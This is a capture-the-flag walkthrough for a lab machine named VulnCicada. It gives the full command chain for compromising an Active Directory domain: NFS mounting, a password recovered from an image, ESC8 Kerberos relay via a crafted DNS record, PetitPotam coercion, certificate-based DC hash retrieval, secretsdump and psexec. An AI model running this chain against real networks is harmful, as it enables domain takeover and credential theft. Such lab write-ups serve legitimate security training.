# VulnCicada

## OVERVIEW

---

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766649061136/1407b1a6-b35d-4b25-ba03-46fe18523be0.png align="center")

So we have given IP address of the machine so Let’s head to Nmap to scan this IP

## ENUMERATION

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766649441505/25e4c855-57ef-42e2-a289-299df59f28cc.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766649596526/5c60005e-7a5b-4323-90cc-87aeeba75121.png align="center")

So these are the ports open and domain and domain controller name Be sure to add these into **<mark>/etc/hosts</mark>**

So Port 2049 caught my eye which has nfs service opened so i quickly performed

```apache
showmount -e 10.129.234.48
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766649779763/bf08c88f-db89-4fd8-a2f8-e4b608b50d0f.png align="left")

It showed **/profiles directory so let’s mount it using mount**

```apache
mkdir /mnt/profiles
mount -t nfs 10.129.234.48:/profiles /mnt/profiles 
```

After it gets mounted lets head to **/mnt/profiles** and enumerate further

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766650045998/a32deec9-4e79-461d-bf3a-9ec19bff9992.png align="left")

We found 14 user directories in which only **Administrator** and **Rosie.Powell** has some files so let’s copy those two user directories to somewhere else to see the files more thoroughly

On Inspecting Administrator Directory we found

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766650256156/708a4ac8-2a3c-4469-9a50-05ddfb63bf63.png align="left")

Let’s check out **vacation.png** and other files too

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766650354439/4dd6c7dd-6f7d-428a-b956-02d3c5b1e8b8.png align="center")

Doesn’t seemed to have any information nor in image or in other files , So let’s check Rosie.Powell user directory now

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766650541442/c58ed202-09cb-4cba-9388-a1c1780a0db3.png align="left")

It also have an image named as **marketing.png** so let’s open the image and check out other files too

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766650616288/9eca11ea-4bf8-4f25-98a7-43821569e221.png align="center")

While other files didn’t gave any info the **marketing.png** image revealed a password like string **<mark>Cicada123</mark>**

---

## EXPLOITATION

Now we have user and a password let’s try another services such as SMB, LDAP, WEB, RDP etc

On checking Website on port 80 we found nothing else then **IIS Window Web Server** and a non accessible **/CertEnroll** directory So Now Let’s move to Other Services.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766651402474/84be2d9c-8700-4892-ba2b-7ad3d7370370.png align="center")

We realized that SMB,NTLM has disabled so there is no other way rather then Kerberos authentication so let’s do that with the help of -k flag

```apache
nxc smb 10.129.234.48 -u Rosie.Powell -p Cicada123 -k
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766652559797/89d169f0-8860-40bf-a647-4c933ff79bdb.png align="center")

So we can see we can now do SMB assigning and can access shares So I saw a share named as **CertEnroll** which we saw during our web enumeration so as the name is it suggest towards ADCS (Active Directory Certificate Services) so Let’s run [**Certipy**](https://github.com/ly4k/Certipy/wiki/04-%E2%80%90-Installation) to see any vulnerable templates are there or not.

First Let’s grab the ticket of Rosie.Powell user so that Kerberos authentication will be easier in future For this we can use impacket-GetTGT

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766653241887/5f610fda-ed23-4415-ba5f-3a9715da22ea.png align="center")

Now lets run Certipy but before that change your **<mark> /etc/krb5.conf </mark>** file to the following one because we are using Kerberos authentication so its good to change it to avoid any issues

```apache
[libdefaults]
    default_realm = CICADA.VL
    dns_lookup_realm = false
    dns_lookup_kdc = true

[realms]
    CICADA.VL = {
        kdc = 10.129.234.48
        admin_server = 10.129.234.48
    }

[domain_realm]
    .cicada.vl = CICADA.VL
    cicada.vl = CICADA.VL
```

```apache
certipy find -vulnerable -u Rosie.Powell@cicada.vl -dc-ip 10.129.234.48 -dc-host DC-JPQ225.cicada.vl -k -no-pass -stdout
```

**<mark>NOTE: If you are running Certipy in virtual environment then you have to check the ticket using klist to ensure the ticket is there if it says no valid ticket then export the ticket again inside the virtual environment</mark>**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766654095709/40407415-2ef6-4da8-b850-74a67089962b.png align="center")

**Here we go we found out ESC8 Vulnerability as Web Enrollment is enabled over HTTP**

**So what is ESC8 Let’s see something about it**

<details data-node-type="hn-details-summary"><summary>ESC8 – NTLM Relay on AD CS Web Enrolment</summary><div data-type="detailsContent">ESC8 is one of the most frequently encountered exploitation scenarios in internal auditing. It presents a particularly high risk because it can be exploited without any domain account, making it a prime target for an external attacker who already has a favorable network position. The central condition for this attack is the presence of the Enrollment web service enabled on the AD CS server. This service allows a client to submit a certificate request via a web interface, typically accessible via the URL <code>http://&lt;server_name&gt;/certsrv</code>. If this service is enabled and poorly secured, it becomes possible to relay NTLM authentication from another host (such as a domain controller) to the CA server.</div></details>

Now Since NTML is not enabled and NTLM self relay is also not enabled Let’s use Kerberos Relaying Over SMB to exploit this

Let’s Study about it using this blog [**BLOG**](https://www.synacktiv.com/publications/relaying-kerberos-over-smb-using-krbrelayx.html)  
**We discover that we can relay Kerberos over SMB using a specific DNS entry.**

First of all, we need to add the magic DNS entry and make it point back to our machine. So we will use **bloodyAD** for this

```apache
bloodyAD -u Rosie.Powell -p Cicada123 -d cicada.vl -k --host DC-JPQ225.cicada.vl add dnsRecord DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA YOUR_IP
```

After you added the DNS entry then we can setup a relay using Certipy once again **<mark>(Ensures you use latest Certipy which have -relay argument)</mark> you can use the above Certipy which I gave earlier**

```apache
certipy relay -target 'http://dc-jpq225.cicada.vl/' -template DomainController
```

**Finally, we can use nxc to coerce the remote machine to authenticate back to us using Kerberos using PetitPotam method.**

**So in another terminal do**

```apache
nxc smb DC-JPQ225.cicada.vl  -u Rosie.Powell -p Cicada123 -k -M coerce_plus -o LISTENER=DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA METHOD=PetitPotam
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766655401411/2a013047-84e9-40e9-bfbc-27da90b282b7.png align="center")

Let’s observe the output in our relaying terminal

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766655404066/71386f98-717a-4e26-8915-3cdd546a3b5b.png align="center")

**As you can see we got the certificate and don’t worry if it fails try again the Certipy command on both sides as shown above you will get it**

**<mark>NOTE: If you are getting Attributes error that yours is 0 and it should be between 1 and 64 then you are either using outdated Certipy or using kali packaged Certipy(certipy-ad) so i recommend to use the above Certipy in virtual environment like me to avoid this error</mark>**

Now we got the certificate let’s use that to get Domain Controller NTLM hash

```apache
certipy auth -pfx dc-jpq225.pfx -dc-ip 10.129.234.48
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766655794535/ca1b3029-5215-4701-8842-2695c5be4ed5.png align="center")

Now we have the NTLM hash of the machine account. Since NTLM authentication is disabled, can use the ccache file and dump the hashes of the Administrator user.

```apache
export KRB5CCNAME=dc-jpq225.ccache

secretsdump.py -k -no-pass dc-jpq225.cicada.vl -just-dc-user Administrator
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766656078913/c62c9711-6d42-411c-80c5-7472eabe9ae7.png align="center")

Here We GO!!

---

## FLAGS

We got Administrator Hash Now Let’s outside virtual environment let’s grab Administrator TGT and use it to login or you can directly login without TGT and ccache also

```apache
getTGT.py cicada.vl/Administrator -hashes :hash
export KRB5CCNAME=Administrator.ccache
impacket-psexec cicada.vl/administrator@DC-JPQ225.cicada.vl -k -hashes :hash
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766657080662/0b7bbfd8-4f32-4911-b9a4-a8e892d20a9d.png align="center")

And We got the system shell Now Let’s Get our flags

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766657164576/bb074474-cbe6-4aa5-ace0-75f3d9e3717c.png align="left")

Here We Go !!

## **WE FINALLY DID IT !!!! CHALLENGE SOLVED !!**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766657287395/c1e5db0b-a0f2-4f23-9204-3c4468592cf9.png align="center")

For Any Query Or Problem Either Leave A Comment Or Contact At [**reapsec.com**](http://reapsec.com/)

**THANKS FOR READING !!!**